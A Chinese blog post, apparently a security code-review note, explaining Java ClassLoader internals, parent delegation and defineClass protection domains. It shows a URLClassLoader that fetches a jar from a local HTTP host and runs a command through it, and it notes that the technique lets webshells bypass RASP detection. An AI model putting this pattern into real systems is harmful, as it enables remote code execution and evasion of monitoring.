首页 > 编程语言 >javaweb codereview记录-03

javaweb codereview记录-03

时间:2024-04-08 10:04:29浏览次数:21  
标签:codereview 调用 java javaweb 03 classloader 字节 class 加载

Class类加载流程

实际上就是ClassLoader将会调用loadclass来尝试加载类,首先将会在jvm中尝试加载我们想要加载的类,如果jvm中没有的话,将调用自身的findclass,此时要是findclass重写了,并且传入了我们想要加载的类的字节码,那么应该调用defineclass在jvm中加载该类,最后返回java.lang.class类对象。

那么既然类加载器java.lang.ClassLoader是所有的类加载器的父类,我们可以来定义其子类从而实现加载任意字节码,当然加载恶意class也是可以的,重写findclass,遵循双亲委派机制

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import  java.lang.reflect.Method;
public class class_loader  extends  ClassLoader {

    private static String testClassName = "TestHelloWorld";

    private static byte[] testClassBytes = new byte[]{};

    {
        try{
        File fileName = new File("H:\\TestHelloWorld.class");
        FileInputStream in = new FileInputStream(fileName);
        ByteArrayOutputStream byt = new ByteArrayOutputStream();

        int b = -1;
        byte[] zi = new byte[1024];
        while ((b = in.read(zi)) != -1) {
            byt.write(zi, 0, b);
        }
            byte[] class_byte = byt.toByteArray();
            testClassBytes = class_byte;
        }
        catch (Exception e){

        }
    }

    @Override
    public Class<?> findClass(String name)  throws ClassNotFoundException{
        if(name.equals(testClassName)){

            return defineClass(testClassName,testClassBytes,0,testClassBytes.length);


        }
        return super.findClass(name);
    }

    public static void main(String[] args){

        class_loader loader = new class_loader();

        try {
            Class testClass = loader.loadClass(testClassName);

            Object testInstance = testClass.newInstance();

            Method method = testInstance.getClass().getMethod("hello");

            String str = (String)  method.invoke(testInstance);

            System.out.println(str);


        }catch (Exception e){

        }




    }
}

以上代码中字节码肯定是一个恶意类,那么只要编译得到class文件即可,我们直接将其读到byte数组中,然后再通过定义的findclass中return defineclass来通过我们的字节码生成类。

TestHelloWorld.java如下所示

public class TestHelloWorld {

    public String hello(){
        return "tr1ple 2333";
    }

}

利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测

URL类加载器

URLClassLoader也是ClassLoader的子类,那么URLClassloader可以用来加载本地或者远程资源某个目录下的资源,我们可以使用他来加载远程或本地的jar文件,如果存在security manager的话,创建一个类加载器将调用下面的方法检查是否当前是否允许创建classloader

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

public class TestURLClassLoader {

    public static void main(String[] args){
        try {
           URL url = new URL("http://127.0.0.1:9000/cmd.jar");
           URLClassLoader ucl = new URLClassLoader(new URL[]{url});
           String cmd = "calc";
           Class cmdClass = ucl.loadClass("cmd");
           Process process = (Process) cmdClass.getMethod("exec",String.class).invoke(null,cmd);

        }
        catch (Exception e){
            
        }


    }

}

线程上下文类加载器(Thread Context ClassLoader)

每个线程都有一个线程加载器,在创建该线程的时候指定,如果没有指定则从父类进行继承,如果全局都没有设置,则线程的实际类加载器为app classloader,利用线程上下文加载器,我们能够实现所有的代码热替换,热部署(相对于编译型语言来说的,动态更新class字节码文件,而不用重启应用)

类加载器的双亲委派模型

 每当一个类加载器收到一个类加载请求,则首先在父类加载器的搜索范围内尝试进行加载,当父类无法加载时子类才进行加载

 

在rt.jar下的sun.mics.Launch中完成类加载器的初始化,1处实例化extclassloader,2处实例化app classloader,3处设置父线程的子线程上下文类加载器也为app classloader,其中ext classloder是app classloder的父亲,这两个类加载器都继承与URLclassloader,AppClassLoader而非继承ExtClassLoader,父亲和父类不一样(划重点,要记住),如下图所示,classloader的parent变量即为父亲

继承关系:

继承关系:

java.lang.Object

       --- java.lang.ClassLoader
              --- java.security.SecureClassLoader
                      ---  java.net.URLClassLoader
                            --- sun.misc.Launcher$ExtClassLoader





java.lang.Object

       --- java.lang.ClassLoader
              --- java.security.SecureClassLoader
                      ---  java.net.URLClassLoader
                            --- sun.misc.Launcher$AppClassLoader

jvm动态加载jar包:

对于一个jar包中的类,用的classloder是第一次jvm加载该jar包中类所使用的class loader

如何确定jvm中类的唯一性:

对于任何一个类,都需要由加载它的类加载器和这个类本身一同确立在java虚拟机中的唯一性,也就是说不同的类加载器加载同一个类实际上是不同的class对象

需要自定义类加载器时,我们要重写的是findclass方法,这样是遵循双亲委派模型的,而不能重写loadclass

loadclass 类加载的顺序

1.首先调用findloadedclass查看要加载的类是否已经被加载

2.若没有被加载,并且父亲不为null,则调用父类的loadclass尝试加载class,使用双亲委派进行加载

3.如果父亲的loadclass都没有找到需要加载的类,则调用当前classloader的findclass去找要加载的类

如果以上两个步骤能够找到需要加载的类的话(findclass返回就是class类型),并且resolveclass为true的话此时将调用resolveclass对class类型的实例进行链接,默认调用loadclass(“class类名”),是不调用resolveclass进行链接的

所以从findclass的注释中也可以看到jdk是建议我们去在自己的classloader中重写该方法的,因为一般来说class文件来自本地文件系统,但是像rmi机制这种,class文件可以放在远程

 

在findclass中一般将调用defineclass来创建class

defineclass其中有两种:

第一种直接传字节数组,偏移,以及字节数组长度,保护域为null,此时调用defineclass创建的class是没有名称的,那这种情况是不会创建保护域的,这种是不推荐使用的

第二种是加上name参数,这也是常用的一种,安全的创建class类型实例的方法,将创建保护域

看下具体这种情况是如何给class实例封装保护域的,下图所示是一些操作方法

首先调用preDefineClass,传入要定义的name以及null的保护域,由注释可以看到主要检测要定义的name是不是以java.*开头的,以及要验证创建的class是不是和包内其它class的签名是一样的,其中checkname主要检测定义的name是否符合规范,不能出现/,不能出现[,接下来判断定义name包名不能是java开头的

 

此时定义pd为默认的保护域,如注释所言,为新创建的class建立一个默认的保护域

 

那保护域又是什么东西,保护域是由codesource(codesource感觉就是当前字节码文件的来源,和codebase类似,rmi中就用到了codebase的概念,就把它理解为一个存放字节码文件的位置),codesource是对codebase的扩展,加入了证书(x509证书,具体不再细看)的概念,用证书来验证url所指处的class文件

 permissions 一组权限集合

以及当前所用的类加载器,以及一组主体的抽象概念(principal数组),感觉是x509证书用来验证这个要被创建的类和包中类的关系的一个接口,从它重写的tostring、equals就能大概猜出来

创建完默认的保护域后,此时调用defineClassSourceLocation拿到codesource的地址

接下来就调用definClass1来创建class实例,可以看到是个native方法,具体操作是看不到的,如何验证字节码合法性也是看不到的,也包括相应的证书的验证,为什么不让我们看到,因为如果我们能看到具体定义过程,就可以自己按照规则地去定义class,那么检查就没有意义了

如果能够创建class实例的话,接下来就从保护域中拿出证书给该class签名,至此我们想要加载的class已经从文件系统上的字节码文件变成了class类型的实例

 

再回到最开始的loadclass方法里,当前的findclass找到了需要加载的class字节码文件并创建class实例以后,此时我们想要的类已经位于jvm中了,此时最后一步就是判断是否resolve进行链接(默认不进行链接)

 

那么class的链接也是native实现的,所以也是看不到的,链接完以后,还差最后一步初始化,就能使用该类了

 

举个

标签:codereview,调用,java,javaweb,03,classloader,字节,class,加载
From: https://blog.csdn.net/wfz2333/article/details/137482593

相关文章

  • 技术栈20240403
        后端技术栈主框架:SpringBoot+SpringFramework持久层架:MyBatis-Plus数据库连接池:AlibabaDruid多数据源:Dynamic-Datasource数据库兼容:MySQL、SQLServer、Oracle、PostgreSQL、达梦数据库、人大金仓数据库分库分表解决方案:ApacheShardingSphere权......
  • 洛谷B3835 [GESP202303 一级] 每月天数
    这道题是让我们输出给定的月份有多少天#include<bits/stdc++.h>usingnamespacestd;intmain(){ intyear,month;cin>>year>>month;if(month==1||month==3||month==5||month==7||month==8||month==10||month==12){cout<<31;......
  • [AutoSar]BSW_Memory_Stack_003 NVM与APP的显式和隐式同步
    目录关键词平台说明背景一、implicitsynchronization1.1Writerequests流程(NvM_WriteBlock)1.2Readrequests流程(NvM_ReadBlock)1.3Restoredefaultrequests流程(NvM_RestoreBlockDefaults)1.4Multiblockreadrequests流程(NvM_ReadAll)1.5Multibloc......
  • 0403_C基础5
    练习1:1.循环输入n个元素,计算最大差值,最小和,最大和(不允许使用排序)最大差:最大值-最小值最小和:最小值+第二小值最大和:最大值+第二大值程序:#include<stdio.h>#include<string.h>#include<stdlib.h>//定义int类型最大值以及最小值#defineINT_MAX2147483647#de......
  • 后端学习记录~~JavaSE篇(day03-流程控制语句-下-----循环语句)
    摘要:循环语句可以在满足循环条件的情况下,反复执行某一段代码,这段被重复执行的代码被称为循环体语句,当反复执行这个循环体时,需要通过修改循环变量使得循环判断条件为false,从而结束循环,否则循环将一直执行下去,形成死循环。一.for循环for(初始化语句①;循环条件语句②;迭......
  • node 建立一个electron的hello world 的工程 有窗体const { app, BrowserWindow } = r
     要创建一个Electron的"HelloWorld"工程,可以按照以下步骤进行:首先,确保你已经安装了Node.js。使用命令行工具进入你要创建项目的目录。运行以下命令来初始化一个新的Node.js项目:bash|npminit-y这将创建一个默认的package.json文件。确保你......
  • 2003年重邮801信号与系统考研真题与详解
    文章目录前言一对一极速提分辅导2003年重邮801信号与系统考研真题与详解前言重庆邮电大学801信号与系统考研真题与详解系列已制作完毕,现将逐步以免费的方式更新在微信公众号、博客上,其特点如下:①质量高:所有文字、公式、图形均自己编写、制作,确保清晰、质量高、掌握......
  • SWEN20003面向对象软件开发项目
    SWEN20003面向对象软件开发项目1,2024墨尔本大学计算机与信息系统学院SWEN20003面向对象软件开发项目1,2024年第1学期发布时间:2024年3月25日星期一,美国东部时间晚上11:30首次提交截止时间:2024年3月28日星期四,美国东部时间晚上11:30项目截止时间:2024年4月17日星期三上午11:30在开......
  • 【2024-04-03】人必有缺
    20:00风完美的一天,帆只需要扬起,爱开始启动。今天正是这样的一天。                                                 ——鲁米转眼三天班就过去了,如果不是母亲昨晚问起......
  • 03-template-advance
    03-TemplateAdvance源作者地址:https://github.com/bonfy/go-mega仅个人学习使用学习完第二章之后,你对模板已经有了基本的认识本章将讨论Go的组合特性,以及建立一个通用的调用模板的方法本章的GitHub链接为:Source,Diff,Zip匿名组合匿名组合其实是Go里的一个非常......